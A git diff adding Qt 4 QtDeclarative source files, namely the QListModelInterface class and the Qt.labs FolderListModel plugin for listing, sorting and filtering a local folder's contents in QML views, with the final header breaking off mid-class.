diff --git a/src/declarative/util/qlistmodelinterface.cpp b/src/declarative/util/qlistmodelinterface.cpp
new file mode 100644
index 00000000..847c5e1a
--- /dev/null
+++ b/src/declarative/util/qlistmodelinterface.cpp
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclaractive module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qlistmodelinterface_p.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \internal
+ \class QListModelInterface
+ \since 4.7
+ \brief The QListModelInterface class can be subclassed to provide C++ models to QDeclarativeGraphics Views
+
+ This class is comprised primarily of pure virtual functions which
+ you must implement in a subclass. You can then use the subclass
+ as a model for a QDeclarativeGraphics view, such as a QDeclarativeListView.
+*/
+
+/*! \fn QListModelInterface::QListModelInterface(QObject *parent)
+ Constructs a QListModelInterface with the specified \a parent.
+*/
+
+ /*! \fn QListModelInterface::QListModelInterface(QObjectPrivate &dd, QObject *parent)
+
+ \internal
+ */
+
+/*! \fn QListModelInterface::~QListModelInterface()
+ The destructor is virtual.
+ */
+
+/*! \fn int QListModelInterface::count() const
+ Returns the number of data entries in the model.
+*/
+
+/*! \fn QVariant QListModelInterface::data(int index, int role) const
+ Returns the data at the given \a index for the specified \a roles.
+*/
+
+/*! \fn QList<int> QListModelInterface::roles() const
+ Returns the list of roles for which the list model interface
+ provides data.
+*/
+
+/*! \fn QString QListModelInterface::toString(int role) const
+ Returns a string description of the specified \a role.
+*/
+
+/*! \fn void QListModelInterface::itemsInserted(int index, int count)
+ Emit this signal when \a count items are inserted at \a index.
+ */
+
+/*! \fn void QListModelInterface::itemsRemoved(int index, int count)
+ Emit this signal when \a count items are removed at \a index.
+ */
+
+/*! \fn void QListModelInterface::itemsMoved(int from, int to, int count)
+ Emit this signal when \a count items are moved from index \a from
+ to index \a to.
+ */
+
+/*! \fn void QListModelInterface::itemsChanged(int index, int count, const QList<int> &roles)
+ Emit this signal when \a count items at \a index have had their
+ \a roles changed.
+ */
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qlistmodelinterface_p.h b/src/declarative/util/qlistmodelinterface_p.h
new file mode 100644
index 00000000..ea68b12e
--- /dev/null
+++ b/src/declarative/util/qlistmodelinterface_p.h
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QLISTMODELINTERFACE_H
+#define QLISTMODELINTERFACE_H
+
+#include <QtCore/QHash>
+#include <QtCore/QVariant>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QListModelInterface : public QObject
+{
+ Q_OBJECT
+ public:
+ QListModelInterface(QObject *parent = 0) : QObject(parent) {}
+ virtual ~QListModelInterface() {}
+
+ virtual int count() const = 0;
+ virtual QVariant data(int index, int role) const = 0;
+
+ virtual QList<int> roles() const = 0;
+ virtual QString toString(int role) const = 0;
+
+ Q_SIGNALS:
+ void itemsInserted(int index, int count);
+ void itemsRemoved(int index, int count);
+ void itemsMoved(int from, int to, int count);
+ void itemsChanged(int index, int count, const QList<int> &roles);
+
+ protected:
+ QListModelInterface(QObjectPrivate &dd, QObject *parent)
+ : QObject(dd, parent) {}
+};
+
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+#endif //QTREEMODELINTERFACE_H
diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri
new file mode 100644
index 00000000..62fa8f16
--- /dev/null
+++ b/src/declarative/util/util.pri
@@ -0,0 +1,72 @@
+INCLUDEPATH += $$PWD
+
+SOURCES += \
+ $$PWD/qdeclarativeapplication.cpp \
+ $$PWD/qdeclarativeutilmodule.cpp\
+ $$PWD/qdeclarativeview.cpp \
+ $$PWD/qdeclarativeconnections.cpp \
+ $$PWD/qdeclarativepackage.cpp \
+ $$PWD/qdeclarativeanimation.cpp \
+ $$PWD/qdeclarativesystempalette.cpp \
+ $$PWD/qdeclarativespringanimation.cpp \
+ $$PWD/qdeclarativesmoothedanimation.cpp \
+ $$PWD/qdeclarativestate.cpp\
+ $$PWD/qdeclarativetransitionmanager.cpp \
+ $$PWD/qdeclarativestateoperations.cpp \
+ $$PWD/qdeclarativepropertychanges.cpp \
+ $$PWD/qdeclarativestategroup.cpp \
+ $$PWD/qdeclarativetransition.cpp \
+ $$PWD/qdeclarativelistmodel.cpp\
+ $$PWD/qdeclarativelistaccessor.cpp \
+ $$PWD/qdeclarativeopenmetaobject.cpp \
+ $$PWD/qdeclarativetimeline.cpp \
+ $$PWD/qdeclarativetimer.cpp \
+ $$PWD/qdeclarativebind.cpp \
+ $$PWD/qdeclarativepropertymap.cpp \
+ $$PWD/qdeclarativepixmapcache.cpp \
+ $$PWD/qdeclarativebehavior.cpp \
+ $$PWD/qdeclarativefontloader.cpp \
+ $$PWD/qdeclarativestyledtext.cpp \
+ $$PWD/qdeclarativelistmodelworkeragent.cpp \
+ $$PWD/qlistmodelinterface.cpp
+
+HEADERS += \
+ $$PWD/qdeclarativeapplication_p.h \
+ $$PWD/qdeclarativeutilmodule_p.h\
+ $$PWD/qdeclarativeview.h \
+ $$PWD/qdeclarativeconnections_p.h \
+ $$PWD/qdeclarativepackage_p.h \
+ $$PWD/qdeclarativeanimation_p.h \
+ $$PWD/qdeclarativeanimation_p_p.h \
+ $$PWD/qdeclarativesystempalette_p.h \
+ $$PWD/qdeclarativespringanimation_p.h \
+ $$PWD/qdeclarativesmoothedanimation_p.h \
+ $$PWD/qdeclarativesmoothedanimation_p_p.h \
+ $$PWD/qdeclarativestate_p.h\
+ $$PWD/qdeclarativestateoperations_p.h \
+ $$PWD/qdeclarativepropertychanges_p.h \
+ $$PWD/qdeclarativestate_p_p.h\
+ $$PWD/qdeclarativetransitionmanager_p_p.h \
+ $$PWD/qdeclarativestategroup_p.h \
+ $$PWD/qdeclarativetransition_p.h \
+ $$PWD/qdeclarativelistmodel_p.h\
+ $$PWD/qdeclarativelistmodel_p_p.h\
+ $$PWD/qdeclarativelistaccessor_p.h \
+ $$PWD/qdeclarativeopenmetaobject_p.h \
+ $$PWD/qdeclarativenullablevalue_p_p.h \
+ $$PWD/qdeclarativetimeline_p_p.h \
+ $$PWD/qdeclarativetimer_p.h \
+ $$PWD/qdeclarativebind_p.h \
+ $$PWD/qdeclarativepropertymap.h \
+ $$PWD/qdeclarativepixmapcache_p.h \
+ $$PWD/qdeclarativebehavior_p.h \
+ $$PWD/qdeclarativefontloader_p.h \
+ $$PWD/qdeclarativestyledtext_p.h \
+ $$PWD/qdeclarativelistmodelworkeragent_p.h \
+ $$PWD/qlistmodelinterface_p.h
+
+contains(QT_CONFIG, xmlpatterns) {
+ QT+=xmlpatterns
+ SOURCES += $$PWD/qdeclarativexmllistmodel.cpp
+ HEADERS += $$PWD/qdeclarativexmllistmodel_p.h
+}
diff --git a/src/imports/folderlistmodel/folderlistmodel.pro b/src/imports/folderlistmodel/folderlistmodel.pro
new file mode 100644
index 00000000..0f639797
--- /dev/null
+++ b/src/imports/folderlistmodel/folderlistmodel.pro
@@ -0,0 +1,26 @@
+TARGET = qmlfolderlistmodelplugin
+TARGETPATH = Qt/labs/folderlistmodel
+include(../qimportbase.pri)
+
+QT += declarative script
+
+SOURCES += qdeclarativefolderlistmodel.cpp plugin.cpp
+HEADERS += qdeclarativefolderlistmodel.h
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/imports/$$TARGETPATH
+target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+qmldir.files += $$PWD/qmldir
+qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+symbian:{
+ TARGET.UID3 = 0x20021320
+
+ isEmpty(DESTDIR):importFiles.files = qmlfolderlistmodelplugin$${QT_LIBINFIX}.dll qmldir
+ else:importFiles.files = $$DESTDIR/qmlfolderlistmodelplugin$${QT_LIBINFIX}.dll qmldir
+ importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH
+
+ DEPLOYMENT += importFiles
+}
+
+INSTALLS += target qmldir
diff --git a/src/imports/folderlistmodel/plugin.cpp b/src/imports/folderlistmodel/plugin.cpp
new file mode 100644
index 00000000..61054a1e
--- /dev/null
+++ b/src/imports/folderlistmodel/plugin.cpp
@@ -0,0 +1,70 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+
+#include "qdeclarativefolderlistmodel.h"
+
+QT_BEGIN_NAMESPACE
+
+//![class decl]
+class QmlFolderListModelPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ virtual void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == QLatin1String("Qt.labs.folderlistmodel"));
+#ifndef QT_NO_DIRMODEL
+ qmlRegisterType<QDeclarativeFolderListModel>(uri,1,0,"FolderListModel");
+#endif
+ }
+};
+//![class decl]
+
+QT_END_NAMESPACE
+
+#include "plugin.moc"
+
+//![plugin export decl]
+Q_EXPORT_PLUGIN2(qmlfolderlistmodelplugin, QT_PREPEND_NAMESPACE(QmlFolderListModelPlugin));
+//![plugin export decl]
+
diff --git a/src/imports/folderlistmodel/qdeclarativefolderlistmodel.cpp b/src/imports/folderlistmodel/qdeclarativefolderlistmodel.cpp
new file mode 100644
index 00000000..efc0b8be
--- /dev/null
+++ b/src/imports/folderlistmodel/qdeclarativefolderlistmodel.cpp
@@ -0,0 +1,485 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![code]
+#include "qdeclarativefolderlistmodel.h"
+#include <QDirModel>
+#include <QDebug>
+#include <qdeclarativecontext.h>
+
+#ifndef QT_NO_DIRMODEL
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeFolderListModelPrivate
+{
+public:
+ QDeclarativeFolderListModelPrivate()
+ : sortField(QDeclarativeFolderListModel::Name), sortReversed(false), count(0) {
+ nameFilters << QLatin1String("*");
+ }
+
+ void updateSorting() {
+ QDir::SortFlags flags = 0;
+ switch(sortField) {
+ case QDeclarativeFolderListModel::Unsorted:
+ flags |= QDir::Unsorted;
+ break;
+ case QDeclarativeFolderListModel::Name:
+ flags |= QDir::Name;
+ break;
+ case QDeclarativeFolderListModel::Time:
+ flags |= QDir::Time;
+ break;
+ case QDeclarativeFolderListModel::Size:
+ flags |= QDir::Size;
+ break;
+ case QDeclarativeFolderListModel::Type:
+ flags |= QDir::Type;
+ break;
+ }
+
+ if (sortReversed)
+ flags |= QDir::Reversed;
+
+ model.setSorting(flags);
+ }
+
+ QDirModel model;
+ QUrl folder;
+ QStringList nameFilters;
+ QModelIndex folderIndex;
+ QDeclarativeFolderListModel::SortField sortField;
+ bool sortReversed;
+ int count;
+};
+
+/*!
+ \qmlclass FolderListModel QDeclarativeFolderListModel
+ \ingroup qml-working-with-data
+ \brief The FolderListModel provides a model of the contents of a file system folder.
+
+ FolderListModel provides access to information about the contents of a folder
+ in the local file system, exposing a list of files to views and other data components.
+
+ \note This type is made available by importing the \c Qt.labs.folderlistmodel module.
+ \e{Elements in the Qt.labs module are not guaranteed to remain compatible
+ in future versions.}
+
+ \bold{import Qt.labs.folderlistmodel 1.0}
+
+ The \l folder property specifies the folder to access. Information about the
+ files and directories in the folder is supplied via the model's interface.
+ Components access names and paths via the following roles:
+
+ \list
+ \o fileName
+ \o filePath
+ \endlist
+
+ Additionally a file entry can be differentiated from a folder entry via the
+ isFolder() method.
+
+ \section1 Filtering
+
+ Various properties can be set to filter the number of files and directories
+ exposed by the model.
+
+ The \l nameFilters property can be set to contain a list of wildcard filters
+ that are applied to names of files and directories, causing only those that
+ match the filters to be exposed.
+
+ Directories can be included or excluded using the \l showDirs property, and
+ navigation directories can also be excluded by setting the \l showDotAndDotDot
+ property to false.
+
+ It is sometimes useful to limit the files and directories exposed to those
+ that the user can access. The \l showOnlyReadable property can be set to
+ enable this feature.
+
+ \section1 Example Usage
+
+ The following example shows a FolderListModel being used to provide a list
+ of QML files in a \l ListView:
+
+ \snippet doc/src/snippets/declarative/folderlistmodel.qml 0
+
+ \section1 Path Separators
+
+ Qt uses "/" as a universal directory separator in the same way that "/" is
+ used as a path separator in URLs. If you always use "/" as a directory
+ separator, Qt will translate your paths to conform to the underlying
+ operating system.
+
+ \sa {QML Data Models}
+*/
+
+QDeclarativeFolderListModel::QDeclarativeFolderListModel(QObject *parent)
+ : QAbstractListModel(parent)
+{
+ QHash<int, QByteArray> roles;
+ roles[FileNameRole] = "fileName";
+ roles[FilePathRole] = "filePath";
+ setRoleNames(roles);
+
+ d = new QDeclarativeFolderListModelPrivate;
+ d->model.setFilter(QDir::AllDirs | QDir::Files | QDir::Drives | QDir::NoDotAndDotDot);
+ connect(&d->model, SIGNAL(rowsInserted(const QModelIndex&,int,int))
+ , this, SLOT(inserted(const QModelIndex&,int,int)));
+ connect(&d->model, SIGNAL(rowsRemoved(const QModelIndex&,int,int))
+ , this, SLOT(removed(const QModelIndex&,int,int)));
+ connect(&d->model, SIGNAL(dataChanged(const QModelIndex&,const QModelIndex&))
+ , this, SLOT(handleDataChanged(const QModelIndex&,const QModelIndex&)));
+ connect(&d->model, SIGNAL(modelReset()), this, SLOT(refresh()));
+ connect(&d->model, SIGNAL(layoutChanged()), this, SLOT(refresh()));
+}
+
+QDeclarativeFolderListModel::~QDeclarativeFolderListModel()
+{
+ delete d;
+}
+
+QVariant QDeclarativeFolderListModel::data(const QModelIndex &index, int role) const
+{
+ QVariant rv;
+ QModelIndex modelIndex = d->model.index(index.row(), 0, d->folderIndex);
+ if (modelIndex.isValid()) {
+ if (role == FileNameRole)
+ rv = d->model.data(modelIndex, QDirModel::FileNameRole).toString();
+ else if (role == FilePathRole)
+ rv = QUrl::fromLocalFile(d->model.data(modelIndex, QDirModel::FilePathRole).toString());
+ }
+ return rv;
+}
+
+/*!
+ \qmlproperty int FolderListModel::count
+
+ Returns the number of items in the current folder that match the
+ filter criteria.
+*/
+int QDeclarativeFolderListModel::rowCount(const QModelIndex &parent) const
+{
+ Q_UNUSED(parent);
+ return d->count;
+}
+
+/*!
+ \qmlproperty string FolderListModel::folder
+
+ The \a folder property holds a URL for the folder that the model is
+ currently providing.
+
+ The value is a URL expressed as a string, and must be a \c file: or \c qrc:
+ URL, or a relative URL.
+
+ By default, the value is an invalid URL.
+*/
+QUrl QDeclarativeFolderListModel::folder() const
+{
+ return d->folder;
+}
+
+void QDeclarativeFolderListModel::setFolder(const QUrl &folder)
+{
+ if (folder == d->folder)
+ return;
+ QModelIndex index = d->model.index(folder.toLocalFile());
+ if ((index.isValid() && d->model.isDir(index)) || folder.toLocalFile().isEmpty()) {
+
+ d->folder = folder;
+ QMetaObject::invokeMethod(this, "refresh", Qt::QueuedConnection);
+ emit folderChanged();
+ }
+}
+
+/*!
+ \qmlproperty url FolderListModel::parentFolder
+
+ Returns the URL of the parent of of the current \l folder.
+*/
+QUrl QDeclarativeFolderListModel::parentFolder() const
+{
+ QString localFile = d->folder.toLocalFile();
+ if (!localFile.isEmpty()) {
+ QDir dir(localFile);
+#if defined(Q_OS_SYMBIAN) || defined(Q_OS_WIN)
+ if (dir.isRoot())
+ dir.setPath("");
+ else
+#endif
+ dir.cdUp();
+ localFile = dir.path();
+ } else {
+ int pos = d->folder.path().lastIndexOf(QLatin1Char('/'));
+ if (pos == -1)
+ return QUrl();
+ localFile = d->folder.path().left(pos);
+ }
+ return QUrl::fromLocalFile(localFile);
+}
+
+/*!
+ \qmlproperty list<string> FolderListModel::nameFilters
+
+ The \a nameFilters property contains a list of file name filters.
+ The filters may include the ? and * wildcards.
+
+ The example below filters on PNG and JPEG files:
+
+ \qml
+ FolderListModel {
+ nameFilters: [ "*.png", "*.jpg" ]
+ }
+ \endqml
+
+ \note Directories are not excluded by filters.
+*/
+QStringList QDeclarativeFolderListModel::nameFilters() const
+{
+ return d->nameFilters;
+}
+
+void QDeclarativeFolderListModel::setNameFilters(const QStringList &filters)
+{
+ d->nameFilters = filters;
+ d->model.setNameFilters(d->nameFilters);
+}
+
+void QDeclarativeFolderListModel::classBegin()
+{
+}
+
+void QDeclarativeFolderListModel::componentComplete()
+{
+ if (!d->folder.isValid() || d->folder.toLocalFile().isEmpty() || !QDir().exists(d->folder.toLocalFile()))
+ setFolder(QUrl(QLatin1String("file://")+QDir::currentPath()));
+
+ if (!d->folderIndex.isValid())
+ QMetaObject::invokeMethod(this, "refresh", Qt::QueuedConnection);
+}
+
+/*!
+ \qmlproperty enumeration FolderListModel::sortField
+
+ The \a sortField property contains field to use for sorting. sortField
+ may be one of:
+ \list
+ \o Unsorted - no sorting is applied. The order is system default.
+ \o Name - sort by filename
+ \o Time - sort by time modified
+ \o Size - sort by file size
+ \o Type - sort by file type (extension)
+ \endlist
+
+ \sa sortReversed
+*/
+QDeclarativeFolderListModel::SortField QDeclarativeFolderListModel::sortField() const
+{
+ return d->sortField;
+}
+
+void QDeclarativeFolderListModel::setSortField(SortField field)
+{
+ if (field != d->sortField) {
+ d->sortField = field;
+ d->updateSorting();
+ }
+}
+
+/*!
+ \qmlproperty bool FolderListModel::sortReversed
+
+ If set to true, reverses the sort order. The default is false.
+
+ \sa sortField
+*/
+bool QDeclarativeFolderListModel::sortReversed() const
+{
+ return d->sortReversed;
+}
+
+void QDeclarativeFolderListModel::setSortReversed(bool rev)
+{
+ if (rev != d->sortReversed) {
+ d->sortReversed = rev;
+ d->updateSorting();
+ }
+}
+
+/*!
+ \qmlmethod bool FolderListModel::isFolder(int index)
+
+ Returns true if the entry \a index is a folder; otherwise
+ returns false.
+*/
+bool QDeclarativeFolderListModel::isFolder(int index) const
+{
+ if (index != -1) {
+ QModelIndex idx = d->model.index(index, 0, d->folderIndex);
+ if (idx.isValid())
+ return d->model.isDir(idx);
+ }
+ return false;
+}
+
+void QDeclarativeFolderListModel::refresh()
+{
+ d->folderIndex = QModelIndex();
+ if (d->count) {
+ emit beginRemoveRows(QModelIndex(), 0, d->count-1);
+ d->count = 0;
+ emit endRemoveRows();
+ }
+ d->folderIndex = d->model.index(d->folder.toLocalFile());
+ int newcount = d->model.rowCount(d->folderIndex);
+ if (newcount) {
+ emit beginInsertRows(QModelIndex(), 0, newcount-1);
+ d->count = newcount;
+ emit endInsertRows();
+ }
+}
+
+void QDeclarativeFolderListModel::inserted(const QModelIndex &index, int start, int end)
+{
+ if (index == d->folderIndex) {
+ emit beginInsertRows(QModelIndex(), start, end);
+ d->count = d->model.rowCount(d->folderIndex);
+ emit endInsertRows();
+ }
+}
+
+void QDeclarativeFolderListModel::removed(const QModelIndex &index, int start, int end)
+{
+ if (index == d->folderIndex) {
+ emit beginRemoveRows(QModelIndex(), start, end);
+ d->count = d->model.rowCount(d->folderIndex);
+ emit endRemoveRows();
+ }
+}
+
+void QDeclarativeFolderListModel::handleDataChanged(const QModelIndex &start, const QModelIndex &end)
+{
+ if (start.parent() == d->folderIndex)
+ emit dataChanged(index(start.row(),0), index(end.row(),0));
+}
+
+/*!
+ \qmlproperty bool FolderListModel::showDirs
+
+ If true, directories are included in the model; otherwise only files
+ are included.
+
+ By default, this property is true.
+
+ Note that the nameFilters are not applied to directories.
+
+ \sa showDotAndDotDot
+*/
+bool QDeclarativeFolderListModel::showDirs() const
+{
+ return d->model.filter() & QDir::AllDirs;
+}
+
+void QDeclarativeFolderListModel::setShowDirs(bool on)
+{
+ if (!(d->model.filter() & QDir::AllDirs) == !on)
+ return;
+ if (on)
+ d->model.setFilter(d->model.filter() | QDir::AllDirs | QDir::Drives);
+ else
+ d->model.setFilter(d->model.filter() & ~(QDir::AllDirs | QDir::Drives));
+}
+
+/*!
+ \qmlproperty bool FolderListModel::showDotAndDotDot
+
+ If true, the "." and ".." directories are included in the model; otherwise
+ they are excluded.
+
+ By default, this property is false.
+
+ \sa showDirs
+*/
+bool QDeclarativeFolderListModel::showDotAndDotDot() const
+{
+ return !(d->model.filter() & QDir::NoDotAndDotDot);
+}
+
+void QDeclarativeFolderListModel::setShowDotAndDotDot(bool on)
+{
+ if (!(d->model.filter() & QDir::NoDotAndDotDot) == on)
+ return;
+ if (on)
+ d->model.setFilter(d->model.filter() & ~QDir::NoDotAndDotDot);
+ else
+ d->model.setFilter(d->model.filter() | QDir::NoDotAndDotDot);
+}
+
+/*!
+ \qmlproperty bool FolderListModel::showOnlyReadable
+
+ If true, only readable files and directories are shown; otherwise all files
+ and directories are shown.
+
+ By default, this property is false.
+
+ \sa showDirs
+*/
+bool QDeclarativeFolderListModel::showOnlyReadable() const
+{
+ return d->model.filter() & QDir::Readable;
+}
+
+void QDeclarativeFolderListModel::setShowOnlyReadable(bool on)
+{
+ if (!(d->model.filter() & QDir::Readable) == !on)
+ return;
+ if (on)
+ d->model.setFilter(d->model.filter() | QDir::Readable);
+ else
+ d->model.setFilter(d->model.filter() & ~QDir::Readable);
+}
+
+//![code]
+QT_END_NAMESPACE
+
+#endif // QT_NO_DIRMODEL
diff --git a/src/imports/folderlistmodel/qdeclarativefolderlistmodel.h b/src/imports/folderlistmodel/qdeclarativefolderlistmodel.h
new file mode 100644
index 00000000..5ec2416b
--- /dev/null
+++ b/src/imports/folderlistmodel/qdeclarativefolderlistmodel.h
@@ -0,0 +1,159 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFOLDERLISTMODEL_H
+#define QDECLARATIVEFOLDERLISTMODEL_H
+
+#include <qdeclarative.h>
+#include <QStringList>
+#include <QUrl>
+#include <QAbstractListModel>
+
+#ifndef QT_NO_DIRMODEL
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeContext;
+class QModelIndex;
+
+class QDeclarativeFolderListModelPrivate;
+
+//![class begin]
+class QDeclarativeFolderListModel : public QAbstractListModel, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+//![class begin]
+
+//![class props]
+ Q_PROPERTY(QUrl folder READ folder WRITE setFolder NOTIFY folderChanged)
+ Q_PROPERTY(QUrl parentFolder READ parentFolder NOTIFY folderChanged)
+ Q_PROPERTY(QStringList nameFilters READ nameFilters WRITE setNameFilters)
+ Q_PROPERTY(SortField sortField READ sortField WRITE setSortField)
+ Q_PROPERTY(bool sortReversed READ sortReversed WRITE setSortReversed)
+ Q_PROPERTY(bool showDirs READ showDirs WRITE setShowDirs)
+ Q_PROPERTY(bool showDotAndDotDot READ showDotAndDotDot WRITE setShowDotAndDotDot)
+ Q_PROPERTY(bool showOnlyReadable READ showOnlyReadable WRITE setShowOnlyReadable)
+ Q_PROPERTY(int count READ count)
+//![class props]
+
+//![abslistmodel]
+public:
+ QDeclarativeFolderListModel(QObject *parent = 0);
+ ~QDeclarativeFolderListModel();
+
